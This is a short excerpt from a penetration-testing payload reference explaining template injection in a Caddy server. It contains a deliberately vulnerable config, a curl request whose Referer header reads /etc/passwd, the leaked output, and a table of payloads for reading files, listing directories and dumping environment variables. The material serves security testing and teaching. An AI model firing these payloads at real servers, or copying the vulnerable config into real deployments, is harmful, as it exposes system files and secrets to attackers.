The provided Caddy web server config uses the `templates` directive, which allows dynamic content rendering with Go templates.
:80 {
root * /
templates
respond "You came from {http.request.header.Referer}"
}This tells Caddy to process the response string as a template, and interpolate any variables (using Go template syntax) present in the referenced request header. In this curl request, the attacker supplied as `Referer` header a Go template expression: `{{readFile "etc/passwd"}}`.
curl -H 'Referer: {{readFile "etc/passwd"}}' http://localhost/HTTP/1.1 200 OK
Content-Length: 716
Content-Type: text/plain; charset=utf-8
Server: Caddy
Date: Thu, 24 Jul 2025 08:00:50 GMT
You came from root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologinBecause Caddy is running the templates directive, it will evaluate anything in curly braces inside the context, including things from untrusted input. The `readFile` function is available in Caddy templates, so the attacker's input causes Caddy to actually read `/etc/passwd` and insert its content into the HTTP response. | Payload | Description | | ----------------------------- | ----------------------------- | | `{{env "VAR_NAME"}}` | Get an environment variable | | `{{listFiles "/"}}` | List all files in a directory | | `{{readFile "path/to/file"}}` | Read a file |
Source: Reverse Proxy Misconfigurations/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.